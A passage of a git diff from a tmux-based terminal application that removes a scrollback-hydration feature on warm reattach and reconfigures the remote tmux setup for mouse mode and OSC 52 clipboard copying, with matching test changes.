- * only when the history capture came back empty (tmux/ssh unavailable) — see "Painting the
- * joiner" in docs/team-presence.md.
- * - `none` — paint NOTHING.
+ * - `create-screen` — the CO-ATTACH JOINER's screen, captured server-side inside `create()`. A
+ * joiner that did not resize gets no tmux redraw (tmux repaints on SIGWINCH), so this is the only
+ * thing that paints it — see "Painting the joiner" in docs/team-presence.md.
+ * - `none` — paint NOTHING. This is the normal warm reattach: tmux redraws the client and
+ * owns its history, so there is nothing for us to write.
*
* The decision is deliberately about PAINTING ONLY, and the type has no "abort" member, because the
* spawn continuation that calls this must go on to do the rest of its job no matter what comes back:
@@ -183,7 +185,7 @@ export function attachReplay(opts: {
* nothing", NOT "return": returning from the continuation would leave a terminal that streams output
* and looks perfectly alive while silently accepting no input, forever.
*/
-export type SeedPaint = 'snapshot' | 'history' | 'create-screen' | 'none'
+export type SeedPaint = 'snapshot' | 'create-screen' | 'none'
/** What (if anything) the resolved seed should write. Never an instruction to stop. */
export function seedPaint(opts: {
@@ -192,52 +194,16 @@ export function seedPaint(opts: {
superseded: boolean
/** The persisted scrollback snapshot (`cold-snapshot`), '' when there is none. */
snapshot?: string | null
- /** tmux's scrollback (`warm-history`), '' when the capture failed or tmux was unreachable. */
- history?: string | null
/** `PtyCreateResult.screen`: present (and non-empty) only for a joiner that did not resize. */
screen?: string | null
}): SeedPaint {
if (opts.replay === 'none' || opts.superseded) return 'none'
if (opts.replay === 'cold-snapshot') return opts.snapshot ? 'snapshot' : 'none'
- if (opts.history) return 'history'
+ // `warm-attach`: tmux paints this client itself, so the only thing left to write is a joiner's
+ // captured screen (it never gets a redraw). Everyone else seeds nothing.
return shouldApplyResync(opts.screen) ? 'create-screen' : 'none'
}
-/**
- * The exact bytes a warm reattach writes into a fresh xterm, from tmux's scrollback (`history`) and,
- * for a joiner, the visible screen (`screen`).
- *
- * The subtle part is the padding. tmux's attach redraw is `\x1b[H\x1b[2J` + a repaint, and
- * `eraseInDisplay(2)` clears the viewport rows **in place** — it does not scroll them into
- * scrollback. So whatever we leave sitting in the viewport SURVIVES the redraw, above the screen
- * tmux then paints. The capture is hard-wrapped at the HOST pane's width, so it re-wraps to a
- * different number of rows here, and the leftover can never line up with what the redraw overwrites:
- * on a narrow client (a phone) the tail of the history reappears as a second copy the moment you
- * scroll back. Emitting `rows` newlines pushes the history entirely above the fold, so the redraw
- * lands on blank lines and overwrites nothing of ours. (The capture excludes the visible screen —
- * `capture-pane -E -1` — precisely because tmux is about to paint it.)
- *
- * A **joiner** gets no redraw (it did not resize, so tmux never repaints for it), which is why its
- * `screen` is painted here instead.
- */
-export function warmSeed(opts: {
- history?: string | null
- screen?: string | null
- /** The xterm's row count — how far the history has to be pushed to clear the viewport. */
- rows: number
-}): string {
- const out: string[] = []
- const history = opts.history ? stripTrailingNewline(opts.history) : ''
- const screen = shouldApplyResync(opts.screen) ? stripTrailingNewline(opts.screen) : ''
- if (history) {
- // The capture is byte-trimmed at the head, so it can begin mid-escape-sequence — start from a
- // known-clean SGR state rather than an arbitrary one.
- out.push('\x1b[0m', toXtermText(history), '\r\n'.repeat(Math.max(1, opts.rows)))
- }
- if (screen) out.push('\x1b[0m', toXtermText(screen))
- return out.join('')
-}
-
/** The slice of xterm the resync repaint drives (so it can be tested without a DOM). */
export interface ResyncTarget {
write(data: string, done?: () => void): void
diff --git a/src/renderer/terminal/transport.ts b/src/renderer/terminal/transport.ts
index 4d7d21fc5..fe7745ba7 100644
--- a/src/renderer/terminal/transport.ts
+++ b/src/renderer/terminal/transport.ts
@@ -36,13 +36,6 @@ export interface TerminalTransport {
*/
recycle(persistKey: string): void
- /**
- * The persistent session's scrollback (its tmux history + the visible screen), used to hydrate a
- * fresh xterm on a warm reattach. Part of the transport because the session — and therefore its
- * history — lives wherever the transport points: in the local tmux server for LocalTransport, on
- * the HOST for RemoteTransport. Resolves with '' when there is nothing to hydrate from.
- */
- captureHistory(persistKey: string): Promise<string>
/** Listens for output; returns an unsubscribe function. */
onData(sessionId: string, listener: (data: string) => void): () => void
/** Fires when the session closes; returns an unsubscribe function. */
diff --git a/src/shared/ipc.ts b/src/shared/ipc.ts
index 455d7a581..2445e01a2 100644
--- a/src/shared/ipc.ts
+++ b/src/shared/ipc.ts
@@ -16,7 +16,6 @@ export const IPC = {
ptyGenerateGroupName: 'pty:generate-group-name',
ptyCapture: 'pty:capture',
ptyReadScrollback: 'pty:read-scrollback',
- ptyCaptureHistory: 'pty:capture-history',
ptySendText: 'pty:send-text',
ptyReadSessionName: 'pty:read-session-name',
claudeReadTranscript: 'claude:read-transcript',
@@ -213,8 +212,6 @@ export const IPC = {
remoteClientWrite: 'remote:client:write',
remoteClientResize: 'remote:client:resize',
remoteClientKill: 'remote:client:kill',
- // Scrollback of an already-attached remote session (hydrates the client's fresh xterm).
- remoteClientCaptureHistory: 'remote:client:capture-history',
// Client canvas mirror: main pushes the host's full canvas snapshot to the client renderer;
// the client renderer sends its local mutations back for main to RPC to the host.
remoteClientMutate: 'remote:client:mutate',
diff --git a/src/shared/ssh.test.ts b/src/shared/ssh.test.ts
index d5bf23158..92c69b52b 100644
--- a/src/shared/ssh.test.ts
+++ b/src/shared/ssh.test.ts
@@ -145,32 +145,29 @@ describe('remoteTmuxCommand', () => {
describe('remoteTmuxConf', () => {
const c = remoteTmuxConf(50000)
- it('leaves the mouse off so drags are the emulator\'s own selection', () => {
- expect(c).toContain('set -g mouse off')
- expect(c).not.toContain('set -g mouse on')
- })
- it('binds no mouse keys (dead with the mouse off)', () => {
- expect(c).not.toContain('MouseDragEnd1Pane')
- expect(c).not.toContain('DoubleClick1Pane')
- expect(c).not.toContain('TripleClick1Pane')
- expect(c).not.toContain('copy-pipe-and-cancel')
- })
- it('keeps OSC 52 as a safety net for apps that emit it themselves', () => {
+ it('leaves the mouse ON — tmux owns scrolling and selection (native, alternate screen)', () => {
+ expect(c).toContain('set -g mouse on')
+ expect(c).not.toContain('set -g mouse off')
+ })
+ it('does not blank smcup/rmcup/indn', () => {
+ expect(c).not.toContain('smcup@')
+ expect(c).not.toContain('rmcup@')
+ expect(c).not.toContain('indn@')
+ })
+ it('enables OSC 52 via terminal-features, NOT the Ms= override (a no-op on tmux 3.2+)', () => {
+ // This is what finally makes copying work over SSH: tmux emits OSC 52 to the attached client,
+ // whose handler writes the LOCAL clipboard. Measured: with `Ms=`, tmux emitted nothing.
expect(c).toContain('set -g set-clipboard on')
- expect(c).toContain('terminal-overrides')
- expect(c).toContain('Ms=')
- })
- it('blanks smcup/rmcup AND indn so the emulator actually accumulates a scrollback', () => {
- expect(c).toContain(`set -ga terminal-overrides ',*:smcup@:rmcup@:indn@'`)
- })
- it('APPENDS both terminal-overrides (neither clobbers the other)', () => {
- // Both lines must use the append form (`-a`), or the second `set` would replace the first
- // and we would silently lose either OSC 52 or the alternate-screen suppression.
- const lines = c.split('\n').filter((l) => l.includes('terminal-overrides'))
- expect(lines).toHaveLength(2)
- for (const l of lines) expect(l).toMatch(/^set -(ag|ga) terminal-overrides ',/)
- expect(lines.some((l) => l.includes('Ms='))).toBe(true)
- expect(lines.some((l) => l.includes('smcup@:rmcup@'))).toBe(true)
+ expect(c).toContain('set -as terminal-features ",*:clipboard"')
+ expect(c).not.toContain('Ms=')
+ expect(c).not.toContain('terminal-overrides')
+ })
+ it('copies mouse selections through tmux, with no pbcopy (it would run on the remote host)', () => {
+ expect(c).toContain('bind -T copy-mode MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel')
+ expect(c).toContain('bind -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel')
+ expect(c).toContain('DoubleClick1Pane send-keys -X select-word')
+ expect(c).toContain('TripleClick1Pane send-keys -X select-line')
+ expect(c).not.toContain('pbcopy')
})
it('floors history-limit at 1000', () => {
expect(remoteTmuxConf(10)).toContain('set -g history-limit 1000')
diff --git a/src/shared/ssh.ts b/src/shared/ssh.ts
index 3bd289f51..8bc757488 100644
--- a/src/shared/ssh.ts
+++ b/src/shared/ssh.ts
@@ -89,26 +89,34 @@ export function quoteRemotePath(p: string): string {
return posixQuote(p)
}
-/** Remote variant of pty-manager's tmuxConf. Mouse OFF: a drag is the emulator's own selection,
- * not a tmux copy-mode one (see tmuxConf). `set-clipboard on` + the OSC 52 `Ms` capability stay
- * as a safety net for applications that emit OSC 52 themselves; the client's OSC 52 handler
- * writes those to the local clipboard. */
+/** Remote variant of pty-manager's tmuxConf — same behavior, same reasoning (see `tmuxConf` for
+ * the long version). Mouse ON: tmux owns scrolling and selection, the pane is on the alternate
+ * screen, and NOTHING is hydrated on reattach (tmux redraws and its own history is scrollable).
+ * Copy goes out as OSC 52, which the client's handler writes to the LOCAL clipboard — this is the
+ * only thing that ever made copying work over SSH. It needs `terminal-features ",*:clipboard"`:
+ * the `terminal-overrides ',xterm*:Ms=...'` entry this config used to carry emits NOTHING on
+ * tmux 3.2+ (measured), so it is gone — do not add it back. */
export function remoteTmuxConf(scrollback: number): string {
return `# auto-generated by node-terminal (remote) — do not edit
set -g status off
-set -g mouse off
+set -g mouse on
set -g history-limit ${Math.max(1000, scrollback)}
set -g default-terminal "xterm-256color"
set -sg escape-time 10
set -g destroy-unattached off
setw -g aggressive-resize on
+# OSC 52 to the client, which writes the LOCAL clipboard. BOTH lines are needed on tmux 3.2+ — see
+# remoteTmuxConf's doc comment before touching either.
set -g set-clipboard on
-set -ag terminal-overrides ',xterm*:Ms=\\E]52;%p1%s;%p2%s\\007'
-# Keep tmux on the NORMAL screen and off CSI S (see tmuxConf for the full reasoning): the alternate
-# screen has no scrollback, and with indn advertised tmux scrolls the pane with SU, whose lines
-# xterm.js discards instead of saving — either one leaves the user with nothing to scroll. APPENDED
-# (-ga), so the OSC 52 override above survives — a plain non-append set here would replace it.
-set -ga terminal-overrides ',*:smcup@:rmcup@:indn@'
+set -as terminal-features ",*:clipboard"
+# Mouse copy: tmux copies to its buffer AND emits OSC 52. No pipe to a local command — it would run
+# on the REMOTE host, which is nobody's clipboard.
+bind -T copy-mode MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel
+bind -T copy-mode-vi MouseDragEnd1Pane send-keys -X copy-pipe-and-cancel
+bind -T copy-mode DoubleClick1Pane send-keys -X select-word \\; send-keys -X copy-pipe-and-cancel
+bind -T copy-mode-vi DoubleClick1Pane send-keys -X select-word \\; send-keys -X copy-pipe-and-cancel
+bind -T copy-mode TripleClick1Pane send-keys -X select-line \\; send-keys -X copy-pipe-and-cancel
+bind -T copy-mode-vi TripleClick1Pane send-keys -X select-line \\; send-keys -X copy-pipe-and-cancel
`
}
diff --git a/src/shared/types.ts b/src/shared/types.ts
index f33d77fdc..7aaa9cb25 100644
--- a/src/shared/types.ts
+++ b/src/shared/types.ts
@@ -274,9 +274,6 @@ export interface PtyApi {
capture(persistKey: string, full?: boolean): Promise<string>
/** Read the persisted scrollback snapshot for a node (for cold-restart replay). '' if none. */
readScrollback(persistKey: string): Promise<string>
- /** tmux scrollback above the visible screen, for hydrating a fresh emulator on a warm
- * reattach (the emulator owns scrolling now; tmux only redraws the visible screen). '' if none. */
- captureHistory(persistKey: string): Promise<string>
/** Send literal text + Enter into a session (e.g. a slash command). Returns false if unavailable. */
sendText(persistKey: string, text: string): Promise<boolean>
/** The agent session's display name (`/rename` name, else auto name) read from its transcript,
@@ -1095,13 +1092,6 @@ export interface RemoteClientApi {
resize(connectionId: string, sessionId: string, cols: number, rows: number): void
/** Kill a remote PTY (the host detaches; its tmux session survives host-side). */
kill(connectionId: string, sessionId: string): void
- /**
- * The host-side scrollback (tmux history + visible screen) of a session this connection is
- * ALREADY attached to — the client hydrates its empty xterm scrollback with it. Keyed by the
- * session, never by a tmux name: the host only serves the history of streams it granted.
- * Degrades to '' (no connection / unknown stream / host error).
- */
- captureHistory(connectionId: string, sessionId: string): Promise<string>
/** Listen for a remote PTY's output. Returns an unsubscribe function. */
onData(connectionId: string, sessionId: string, listener: (data: string) => void): () => void
/** Fires when a remote PTY exits. Returns an unsubscribe function. */
diff --git a/test/remote/client-handlers.test.ts b/test/remote/client-handlers.test.ts
index 8973f2fb9..3e1799e65 100644
--- a/test/remote/client-handlers.test.ts
+++ b/test/remote/client-handlers.test.ts
@@ -164,73 +164,3 @@ describe('createClientHandlers', () => {
expect(sinks.data).toHaveLength(0)
})
})
-
-// --- captureHistory: the relay node's scrollback lives on the HOST ------------
-//
-// Regression guard: TerminalNode hydrates a fresh xterm's scrollback on a warm reattach. The
-// client machine has no `nt-<nodeId>` tmux session, so the LOCAL PtyManager can only answer '' —
-// the history has to be fetched from the host over the relay, keyed by the stream this client is
-// already attached to (never by a tmux session name: the host jails it to its granted streams).
-describe('createClientHandlers.captureHistory', () => {
- function historySocket(output: unknown) {
- const rpcs: { method: string; params: unknown }[] = []
- const socket: ClientRelaySocket = {
- rpc: vi.fn(async (method, params) => {
- rpcs.push({ method, params })
- if (method === 'pty.attach') return { streamId: 3 }
- if (method === 'pty.captureHistory') return { output }
- return {}
- }),
- sendFrame: vi.fn(() => true)
- }
- return { socket, rpcs }
- }
-
- it('sends RPC pty.captureHistory for an attached stream and returns the host output', async () => {
- const sock = historySocket('line one\nline two\n')
- const h = createClientHandlers(sock.socket, fakeSinks().sinks)
- await h.create({ cols: 80, rows: 24, persistKey: 'node-a' })
-
- await expect(h.captureHistory(3)).resolves.toBe('line one\nline two\n')
- expect(sock.rpcs).toContainEqual({
- method: 'pty.captureHistory',
- params: { streamId: 3 }
- })
- })
-
- it('does not RPC the host for a stream this client never attached to', async () => {
- const sock = historySocket('secret')
- const h = createClientHandlers(sock.socket, fakeSinks().sinks)
-
- await expect(h.captureHistory(99)).resolves.toBe('')
- expect(sock.rpcs).toHaveLength(0)
- })
-
- it('degrades to an empty history on a malformed reply or a failing RPC', async () => {
- const sock = historySocket(42) // not a string
- const h = createClientHandlers(sock.socket, fakeSinks().sinks)
- await h.create({ cols: 80, rows: 24, persistKey: 'node-a' })
- await expect(h.captureHistory(3)).resolves.toBe('')
-
- const failing: ClientRelaySocket = {
- rpc: vi.fn(async (method) => {
- if (method === 'pty.attach') return { streamId: 3 }
- throw new Error('relay dropped')
- }),
- sendFrame: vi.fn(() => true)
- }
- const h2 = createClientHandlers(failing, fakeSinks().sinks)
- await h2.create({ cols: 80, rows: 24, persistKey: 'node-a' })
- // History is a nicety — a failure must never reject into the attach path and freeze the seed.
- await expect(h2.captureHistory(3)).resolves.toBe('')
- })
-
- it('forgets the stream on kill (no history for a dropped session)', async () => {
- const sock = historySocket('history')
- const h = createClientHandlers(sock.socket, fakeSinks().sinks)
- await h.create({ cols: 80, rows: 24, persistKey: 'node-a' })
- h.kill(3)
-
- await expect(h.captureHistory(3)).resolves.toBe('')
- })
-})